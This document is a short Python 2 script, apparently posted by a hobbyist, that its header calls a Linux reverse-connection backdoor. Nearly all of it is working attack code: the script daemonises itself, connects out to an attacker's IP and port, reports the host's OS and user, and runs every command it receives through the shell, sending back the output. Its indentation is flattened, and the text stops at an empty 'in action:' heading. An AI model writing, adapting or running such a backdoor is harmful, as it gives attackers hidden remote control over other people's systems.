#!/usr/bin/python
#Info   : This is a linux based reverse connection backdoor and
#         this is NOT an interactive Shell!
#Author : otoy
#Date   : 0x102010
#Blog   : otoyrood.wordpress.com
 
import socket,sys,os,re
 
#define
osinf = os.uname()
info='''====================================
 py_backdoor
====================================
Author : otoy
Date   : 0x102010
Blog   : otoyrood.wordpress.com
====================================
System : %s %s
====================================
''' %(osinf[0], osinf[2])
 
def daemonize():
 pid = os.fork()
 if(pid != 0):
 os._exit(0)
 
def main():
 if len(sys.argv) <= 2:
 print "Usage:",sys.argv[0],"<ip> <port>"
 sys.exit(1)
 UID = os.getlogin()
 CWD = os.getcwd()
 STM = os.uname()
 if UID == 'root':
 SIGN = ' # '
 else:
 SIGN = ' $ '
 ls = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
 ip = sys.argv[1]
 port = int(sys.argv[2])
 try:
 ls.connect((ip, port))
 except(socket.error):
 print '\n[-]ERROR: Connection Failed!'
 sys.exit(1)
 ls.send(info)
 try:
 while (1):
 bdsh = UID+'@'+STM[1]+':'+CWD+SIGN
 ls.send(bdsh)
 pktcmd = ls.recv(1024)
 rcmd = pktcmd.strip()
 cdir = re.findall('cd (.*)',rcmd)
 try:
 os.chdir(cdir[0])
 CWD = os.getcwd()
except OSError:
 ls.send('No such file or directory: '+cdir[0])
 except IndexError:
 pass
 if rcmd  == 'quit':
 ls.close()
 sys.exit(1)
 elif rcmd == '':
 rcmd = 'echo " "'
 lcmd = os.popen(rcmd)
 cmdstr = lcmd.read().strip()
 ls.send(cmdstr+'\n')
 except(socket.error):
 ls.close()
 sys.exit(1)
 
if __name__ == '__main__':
 try:
 daemonize()
 main()
 except(KeyboardInterrupt):
 sys.exit(1)

in action: